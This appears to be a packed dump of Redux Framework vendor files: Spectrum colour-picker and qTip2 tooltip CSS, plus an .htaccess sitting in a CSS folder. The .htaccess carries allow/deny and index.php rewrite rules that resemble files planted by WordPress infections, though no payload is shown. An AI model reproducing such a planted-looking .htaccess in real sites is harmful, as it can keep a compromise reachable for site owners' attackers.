0,from(#FFF),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(left,#FFF,rgba(204,154,129,0));background-image:-moz-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-o-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-ms-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:linear-gradient(to right,#fff,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)";filter:progid:DXImageTransform.Microsoft.gradient(GradientType = 1,startColorstr='#FFFFFFFF',endColorstr='#00CC9A81')}.sp-val{background-image:-webkit-gradient(linear,0 100%,0 0,from(#000),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-moz-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-o-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-ms-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:linear-gradient(to top,#000,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81',endColorstr='#FF000000')}.sp-hue{background:-moz-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:-ms-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:-o-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:-webkit-gradient(linear,left top,left bottom,from(#f00),color-stop(0.17,#ff0),color-stop(0.33,#0f0),color-stop(0.5,#0ff),color-stop(0.67,#00f),color-stop(0.83,#f0f),to(#f00));background:-webkit-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:linear-gradient(to bottom,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%)}.sp-1{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0000',endColorstr='#ffff00')}.sp-2{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff00',endColorstr='#00ff00')}.sp-3{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ff00',endColorstr='#00ffff')}.sp-4{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffff',endColorstr='#0000ff')}.sp-5{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0000ff',endColorstr='#ff00ff')}.sp-6{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff',endColorstr='#ff0000')}.sp-hidden{display:none !important}.sp-cf:before,.sp-cf:after{content:"";display:table}.sp-cf:after{clear:both}.sp-cf{*zoom:1}@media(max-device-width:480px){.sp-color{right:40%}.sp-hue{left:63%}.sp-fill{padding-top:60%}}.sp-dragger{border-radius:5px;height:5px;width:5px;border:1px solid #fff;background:#000;cursor:pointer;position:absolute;top:0;left:0}.sp-slider{position:absolute;top:0;cursor:pointer;height:3px;left:-1px;right:-1px;border:1px solid #000;background:white;opacity:.8}.sp-container{border-radius:0;background-color:#ececec;border:solid 1px #f0c49b;padding:0}.sp-container,.sp-container button,.sp-container input,.sp-color,.sp-hue,.sp-clear{font:normal 12px "Lucida Grande","Lucida Sans Unicode","Lucida Sans",Geneva,Verdana,sans-serif;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.sp-top{margin-bottom:3px}.sp-color,.sp-hue,.sp-clear{border:solid 1px #666}.sp-input-container{float:right;width:100px;margin-bottom:4px}.sp-initial-disabled .sp-input-container{width:100%}.sp-input{font-size:12px !important;border:1px inset;padding:4px 5px;margin:0;width:100%;background:transparent;border-radius:3px;color:#222}.sp-input:focus{border:1px solid orange}.sp-input.sp-validation-error{border:1px solid red;background:#fdd}.sp-picker-container,.sp-palette-container{float:left;position:relative;padding:10px;padding-bottom:300px;margin-bottom:-290px}.sp-picker-container{width:172px;border-left:solid 1px #fff}.sp-palette-container{border-right:solid 1px #ccc}.sp-palette-only .sp-palette-container{border:0}.sp-palette .sp-thumb-el{display:block;position:relative;float:left;width:24px;height:15px;margin:3px;cursor:pointer;border:solid 2px transparent}.sp-palette .sp-thumb-el:hover,.sp-palette .sp-thumb-el.sp-thumb-active{border-color:orange}.sp-thumb-el{position:relative}.sp-initial{float:left;border:solid 1px #333}.sp-initial span{width:30px;height:25px;border:0;display:block;float:left;margin:0}.sp-initial .sp-clear-display{background-position:center}.sp-palette-button-container,.sp-button-container{float:right}.sp-replacer{margin:0;overflow:hidden;cursor:pointer;padding:4px;display:inline-block;*zoom:1;*display:inline;border:solid 1px #91765d;background:#eee;color:#333;vertical-align:middle}.sp-replacer:hover,.sp-replacer.sp-active{border-color:#f0c49b;color:#111}.sp-replacer.sp-disabled{cursor:default;border-color:silver;color:silver}.sp-dd{padding:2px 0;height:16px;line-height:16px;float:left;font-size:10px}.sp-preview{position:relative;width:25px;height:20px;border:solid 1px #222;margin-right:5px;float:left;z-index:0}.sp-palette{*width:220px;max-width:220px}.sp-palette .sp-thumb-el{width:16px;height:16px;margin:2px 1px;border:solid 1px #d0d0d0}.sp-container{padding-bottom:0}.sp-container button{background-color:#eee;background-image:-webkit-linear-gradient(top,#eee,#ccc);background-image:-moz-linear-gradient(top,#eee,#ccc);background-image:-ms-linear-gradient(top,#eee,#ccc);background-image:-o-linear-gradient(top,#eee,#ccc);background-image:linear-gradient(to bottom,#eee,#ccc);border:1px solid #ccc;border-bottom:1px solid #bbb;border-radius:3px;color:#333;font-size:14px;line-height:1;padding:5px 4px;text-align:center;text-shadow:0 1px 0 #eee;vertical-align:middle}.sp-container button:hover{background-color:#ddd;background-image:-webkit-linear-gradient(top,#ddd,#bbb);background-image:-moz-linear-gradient(top,#ddd,#bbb);background-image:-ms-linear-gradient(top,#ddd,#bbb);background-image:-o-linear-gradient(top,#ddd,#bbb);background-image:linear-gradient(to bottom,#ddd,#bbb);border:1px solid #bbb;border-bottom:1px solid #999;cursor:pointer;text-shadow:0 1px 0 #ddd}.sp-container button:active{border:1px solid #aaa;border-bottom:1px solid #888;-webkit-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-moz-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-ms-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-o-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee}.sp-cancel{font-size:11px;color:#d93f3f !important;margin:0;padding:2px;margin-right:5px;vertical-align:middle;text-decoration:none}.sp-cancel:hover{color:#d93f3f !important;text-decoration:underline}.sp-palette span:hover,.sp-palette span.sp-thumb-active{border-color:#000}.sp-preview,.sp-alpha,.sp-thumb-el{position:relative;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.sp-preview-inner,.sp-alpha-inner,.sp-thumb-inner{display:block;position:absolute;top:0;left:0;bottom:0;right:0}.sp-palette .sp-thumb-inner{background-position:50% 50%;background-repeat:no-repeat}.sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=)}.sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=)}.sp-clear-display{background-repeat:no-repeat;background-position:center;background-image:url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==)}lib/redux-framework/assets/css/vendor/spectrum/.htaccess000064400000001626147206624460017503 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/vendor/qtip/jquery.qtip.min.css000064400000021545147206624460020611 0ustar00/* qTip2 v2.2.1 | Plugins: tips modal viewport svg imagemap ie6 | Styles: core basic css3 | qtip2.com | Licensed MIT | Sat Sep 06 2014 23:12:07 */ .qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:700}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:0;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:400 bold 10px/13px Tahoma,sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{border:1px solid #F1D031;background-color:#FFFFA3;color:#555}.qtip-default .qtip-titlebar{background-color:#FFEF93}.qtip-default .qtip-icon{border-color:#CCC;background:#F1F1F1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}.qtip-light{background-color:#fff;border-color:#E2E2E2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-cream{background-color:#FBF7AA;border-color:#F9E98E;color:#A27D35}.qtip-cream .qtip-titlebar{background-color:#F0DE7D}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}.qtip-red{background-color:#F78B83;border-color:#D95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#F06D65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon,.qtip-red .qtip-titlebar .ui-state-hover{border-color:#D95252}.qtip-green{background-color:#CAED9E;border-color:#90D93F;color:#3F6219}.qtip-green .qtip-titlebar{background-color:#B0DE78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}.qtip-blue{background-color:#E5F6FE;border-color:#ADD9ED;color:#5E99BD}.qtip-blue .qtip-titlebar{background-color:#D0E9F5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,.15)}.qtip-bootstrap,.qtip-rounded,.qtip-tipsy{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:#fff;border:0 solid transparent;background:#4A4A4A;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,#000));background-image:-webkit-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-moz-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-ms-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-o-linear-gradient(top,#4A4A4A 0,#000 100%)}.qtip-youtube .qtip-titlebar{background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr=#4a4a4a, EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid rgba(241,241,241,1);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171, endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A, endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-content,.qtip-jtools .qtip-titlebar{background:0 0;color:#fff;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,.4);box-shadow:4px 4px 5px rgba(0,0,0,.4);background-color:#D9D9C2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876A;color:#fff;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip .qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:#000;background:rgba(0,0,0,.87);color:#fff;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:700;line-height:16px;text-shadow:0 1px #000}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959FA9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#F9F9F9;color:#454545;font-weight:400;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:#fff;background:#3A79B8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3A79B8),to(#2E629D));background-image:-webkit-linear-gradient(top,#3A79B8,#2E629D);background-image:-moz-linear-gradient(top,#3A79B8,#2E629D);background-image:-ms-linear-gradient(top,#3A79B8,#2E629D);background-image:-o-linear-gradient(top,#3A79B8,#2E629D);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8, endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#FBFBFB;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:400;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.qtip-bootstrap .qtip-titlebar .qtip-close{right:11px;top:45%;border-style:none}.qtip-bootstrap .qtip-content{padding:9px 14px}.qtip-bootstrap .qtip-icon{background:0 0}.qtip-bootstrap .qtip-icon .ui-icon{width:auto;height:auto;float:right;font-size:20px;font-weight:700;line-height:18px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.qtip-bootstrap .qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:0 0;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:#000;opacity:.7;filter:alpha(opacity=70);-ms-filter:"alpha(Opacity=70)"}.qtipmodal-ie6fix{position:absolute!important}lib/redux-framework/assets/css/vendor/qtip/jquery.qtip.css000064400000021776147206624460020035 0ustar00.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:bold}.qtip-titlebar+.qtip-content{border-top-width:0 !important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:medium none;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-titlebar .ui-icon,.qtip-icon .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:normal bold 10px/13px Tahoma,sans-serif;color:inherit;background:transparent none no-repeat -100em -100em}.qtip-default{border:1px solid #f1d031;background-color:#ffffa3;color:#555}.qtip-default .qtip-titlebar{background-color:#ffef93}.qtip-default .qtip-icon{border-color:#CCC;background:#f1f1f1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}/*! Light tooltip style */.qtip-light{background-color:white;border-color:#e2e2e2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}/*! Dark tooltip style */.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}/*! Cream tooltip style */.qtip-cream{background-color:#fbf7aa;border-color:#f9e98e;color:#a27d35}.qtip-cream .qtip-titlebar{background-color:#f0de7d}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}/*! Red tooltip style */.qtip-red{background-color:#f78b83;border-color:#d95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#f06d65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon{border-color:#d95252}.qtip-red .qtip-titlebar .ui-state-hover{border-color:#d95252}/*! Green tooltip style */.qtip-green{background-color:#caed9e;border-color:#90d93f;color:#3f6219}.qtip-green .qtip-titlebar{background-color:#b0de78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}/*! Blue tooltip style */.qtip-blue{background-color:#e5f6fe;border-color:#add9ed;color:#5e99bd}.qtip-blue .qtip-titlebar{background-color:#d0e9f5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,0.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,0.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,0.15)}.qtip-rounded,.qtip-tipsy,.qtip-bootstrap{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:white;border:0 solid transparent;background:#4a4a4a;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4a4a4a),color-stop(100%,black));background-image:-webkit-linear-gradient(top,#4a4a4a 0,black 100%);background-image:-moz-linear-gradient(top,#4a4a4a 0,black 100%);background-image:-ms-linear-gradient(top,#4a4a4a 0,black 100%);background-image:-o-linear-gradient(top,#4a4a4a 0,black 100%)}.qtip-youtube .qtip-titlebar{background-color:#4a4a4a;background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,0.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid #f1f1f1;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{background-color:transparent;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-titlebar,.qtip-jtools .qtip-content{background:transparent;color:white;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,0.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,0.4);box-shadow:4px 4px 5px rgba(0,0,0,0.4);background-color:#d9d9c2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876a;color:white;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip .qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:black;background:rgba(0,0,0,0.87);color:white;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:bold;line-height:16px;text-shadow:0 1px black}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959fa9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#f9f9f9;color:#454545;font-weight:normal;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:white;background:#3a79b8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3a79b8),to(#2e629d));background-image:-webkit-linear-gradient(top,#3a79b8,#2e629d);background-image:-moz-linear-gradient(top,#3a79b8,#2e629d);background-image:-ms-linear-gradient(top,#3a79b8,#2e629d);background-image:-o-linear-gradient(top,#3a79b8,#2e629d);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#fbfbfb;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.qtip-bootstrap .qtip-titlebar{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid 